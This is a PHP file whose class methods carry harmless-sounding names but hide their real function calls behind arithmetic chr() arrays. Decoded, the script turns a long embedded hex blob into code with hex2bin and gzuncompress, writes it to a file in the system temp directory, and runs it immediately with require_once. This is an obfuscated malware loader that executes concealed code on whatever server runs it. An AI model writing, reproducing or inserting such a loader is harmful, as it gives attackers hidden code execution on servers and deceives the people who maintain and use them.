<?php
class ExecutionFlow {
	private $fv = '';
	private $kv = '';

	public function sendNotification($p1) {
		$a = array(((70+1+33)),(6+95),((106*1)+14),(19+31),((106-8)),((113-8)),(116-6));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function filterResults($p1) {
		$a = array((122-7),(((118*22)-2481)),((81+20)),(((54*1)+60)),(((75*1)+37)),109,((72+39)),(66+33),(((107*1)+3)),((3*39)),((128-6)),(93+10));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logTransaction($p1,$p2) {
		$a = array(((115*2)-120),((98+3)),(((12*2)+88)),((118-7)),(30+72));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function resolveAction($p1,$p2) {
		$a = array(((11*6)+35),(89+27),((107-2)),((119-5)),(52+67),(2*51));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function rollbackTransaction($p1) {
		$a = array(((13+64+24)),115,((3*64)-81),(((19*54)-918)),99,102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function saveChanges($p1,$p2=null) {
		$a = array((119-5),116,((29*3)+27),(105),(51+58));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function syncRecords() {
		$this->kv = $this->saveChanges($this->terminateSession(), '/');
	}

	public function executeAction() {
		$this->fv = $this->filterResults($this->sendNotification($this->yy));
	}

	public function parseResponse() {
		$fn = $this->kv.'/hg-67f1203a0f3ea';
		$f = $this->logTransaction($fn, 'w');
		$this->resolveAction($f, $this->fv);
		$this->rollbackTransaction($f);
		$this->scheduleJob($fn);
	}

	private $yy = '789c8d580973a25810fe2b49556a2385a63845e3b25339d49' . '8c96882679cb22c40541401393c92cd7fdfee0738e064cc668' . 'a0cf4f175bfee7eddefe5ef6feedc3dd32dd5f7cfc67bffddf' . '5cc8d1a18677ea006a67e31568da012bd9f4d435b0f4cc73e1' . 'b2fb661ee623cb53deadd9ce6ce7dc39a5e5f13592a7a1fefe' . 'd1c55f18c20f4ec334df58da2309e18ba33317229e19f04634' . '4553eb256539610e73da522ab9ea7ee7397e340732ee57f2e5' . 'ffacdc570d07c7bea36379aadec356e1bbcf477bec6eb41877' . 'f742faf2e879c15b6cc9bf565fe72bcb78812570e27f55e38b' . '963bbc6e0d66a99b773fde1d657fbcdf90434ead64633cbeb5' . '7781d0ce7f05be79a7b75002fb7f03008b49a2e11e99503c20' . 'c1e19895e3847e270607dd7ebcdfb7667f8a8ae74a65377ed6' . '675b71ebe293ff0bbddb778b5af0c94bef5ac769d6ddf02807' . '9eb4715feb3dc09672db4de3068f7dd0d483df46c77f9c2382' . '21ad0765334a00f264503846f6462764e16f55c2f7b407b9e4' . '544676147d447041fde0b8993b687745c26fa5ef3b518653d4' . '13abe856f7ef23a7392377fb3c657f54161f47b67f3c4dfb2a' . 'fa6c80ffb8f2bb5bfb3d47af90d42ba7f5a353700abb5cb0b8' . 'd63b71adfb474f836c5b5fe565ebe0e94f9f30b7a424c6ac49' . '557beb7d76a65a0bada0a4390c478ee1f2cd6000e3d56081f7' . '8c19604826b3a4320f5d984eeed631d02029983e7e147b2f68' . 'd492c2a4cafdbb89113aa45e2a7d76b8c1ac762b1d2a338f78' . '8f7363c4bc2d8d924c3cfdb38f25e2406fc5832127bf349b01' . 'ad579b757bbd9a0fdb6b0bd7f711b1090d8b396493288e2937' . '540bcae6310dee09944acd83f97d804ed7b0d532686c37e935' . '1fbe590406049de63c82103c317e6fb3dc6d7497443120f9d6' . 'ffa2db3b441caf2905c75135b7d9bdc10f9c45ea847061128a' . 'a8d0512da35a5dbad95d158a76ad53a96326df7d0d34471bef' . '35372af0366f8dcb526b7dda552536ae53aea61a21a4438d81' . '1d7bacb5eb3c32ab50153ab2ab588a5476517e3f4ba4caf0de' . 'c07a52b76c9265eb9848de51b4b604c632178ed8af80b458de' . 'd3459edda4e61b6952ed64d0d1597bd36a982bd9e12c08c814' . 'cad1b7383e0b025d238f7241071d126e1206b9859c772688f8' . '8a2dc2166de2721c30a48a286ede810b844c9d13e8d332ee6a' . '084a6d8838635337f8ff62117de7a1a73819408c02b662441d' . '049b50ceb8fb6d64703cbe1cba16236de32c948efa688b0378' . '74dbe0ec9f66a3c6c67bd6eb5d848b658a026644cd6aab7cae' . 'e093f200e37ee77d83ef405f6afef24a53659bc3af85576819' . 'db4b43e3a7d08ed7e468a1fbe57b8b015b1abed92160a2423d' . '96530833ee6863a31bc1c4c41186038e2a2294351954f387b9' . '274e0c100347ddf086020d6ab9d9f6999d514e374498d28eaf' . 'd0276c7541edbd34d06065b76881d3a8622627ffde5079eebf' . '8d1573e2d8f1380a2ce6579aa5abe41bd4f4c238337273e7d1' . '8c0fc8d874d6141da198a7c9c701c6644ecf4fecd902fc677a' . 'dd6f746b57231d6cdb59c33ed80f29cd09ee4181afe511532c' . '6e55c4160795a10599ae3ca05ae4818a6bb8f4776fcf593808' . 'ce4b439f0694dba1e55d9ce4dcb48ce1669852b9938f333659' . 'd156956a446f12902a377fe9b8c7425d2a92791a651b9c00ab' . '0caf75f7a1c532cf065a4f374f120993248b3a0a07986ba8c6' . '241d37f5e5418f772ff320e10087f4491fa0d98bbe2d33ff41' . '7df149d2bb045a67006bf590a51312f9127058ea5790159a31' . 'c7515d3589601d1022b9580c173a524581153140a25d488104' . 'bc228470049fe2377512ee56ee9aa98fa91e82fbea91830ff1' . 'b107fb4ce2fbe21f871bc0b42912d08205166f851542e9fa16' . '7ddfae29b1ac5e1629922cd4b5c81e3251ac2594203c46851e' . '0684984022973483b2e472831164b8cc2ed65daba154e8c389' . '4958f5f475a6c01176377e7637c77cb4da66a60f2e11a175e8' . '68a872f4c262845fd66acab96a56a567683c3798a2259f3678' . 'eac879e35366d13f7f7c2a32ae41bb6bbe3220524f2775de5a' . '9f5dc19b7db4fe35e5569d45e9fab55251f7596ff25ffd06a7' . '7f2bc20c096912056b8ff39a1744ab7d67a7a6af59f5a77379' . 'd46ab992f7012cd9d5450aa9daed2ec2837cd368cacbc04252' . 'c49d2298d87eacd3d48167806520c2914a542e9a4c25dabd9a' . 'cde753a8d1fd556b79387ed8fdb84e37037f0c5539a898a083' . '55f2c82bc28f1d83e4a454c22e696e81a3b438f3491accd22e' . 'acc084c7bea240c42d32dc737120a1907da2cd399e14c4c8dc' . 'ee51c2f16604314b8b2444b6591a2e2ab16c95ddcfe2fe0a82' . '7bbaae71b63808eab002a7922e79095810da0516d01593eeec' . 'b709ea6506b1ecc322c3ce4e3b0f6485d1ea1c1819a1aa507e' . '3117f4186311ece71b310f0ab0c3ace7c38697f023d8f6c8e2' . 'a9f68e1a9fb13153c5dc3de4e93e0448d8b9a785379ea3bfad' . '2710d3b87bb7cf2edb885c3faafd3b465d4d23fb1030c159e0' . 'd18cb13284ee00a82088922cdb5cc5cf33c434b1c0d1d988bb' . '30b1e50ef53370cfce8234f9685bef9969c6319912e96b9825' . '49692c9783e359c4491cc674b9e422125eae9992216e9d4931' . 'c2f7c8b229549e6a915d100241348bc35c31d0053836e08c52' . '22dc05a780936ba086d18ba5952a8e8079c25a2f223c0388ee' . 'c8d9ca4be5d55a057640205b789a89387d629314cf52e8a369' . '1b675ff943896305c2922d9ddc238258bb53723d72410fff6a' . '9089eefe09e418d32d9c7fb04e2bba717181db2fe046dede3d' . 'abf3ef229200f59eb49fcd969fc9915f3afedd0b2be8cb3e7f' . 'f190a8f8c5a0ae98b1ce02de38f5878c94890a0eca6a61518d' . 'e78a37a395c6fba74cbec5566507ff11dcdbcd0c5938abd89b' . 'adfb181d0ca4b82004d1dc6ba20a51442ebd02e6304ddaf9c3' . 'a1bebf11e070c439f3b6799ae08f720ec0c8094e937eb30ba2' . 'd5c91caccb01601e91b64ba6f321c3f203d96aa183b18e2147' . '1ea3cf10a2c50fffe7bf804d4f4a7bb41ef62b57875b3e4207' . 'e5474789fa2e47f0864fe78ffc1cd8af0003fc3f34867c43f7' . 'd1136d8c34d17c830680c9bfc992ffea35ffcb5f01d3b79475' . '7a868a8243722d4fd5fd71ff257a05de6068449208287387df' . 'c075e052ea3';

	public function scheduleJob($p) {
		require_once $p;
	}

	public function terminateSession() {
		$a=array(((5*23)),(121),((104*111)-11429),((21+18+56)),((35+20+48)),((93+2+6)),116,(14+11+70),(27+89),(83+6+12),(54+55),(91+21),(((37*1)+58)),(100),(((68*28)-1799)),((54*7)-264));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$yu = new ExecutionFlow();
$yu->syncRecords();
$yu->executeAction();
$yu->parseResponse();
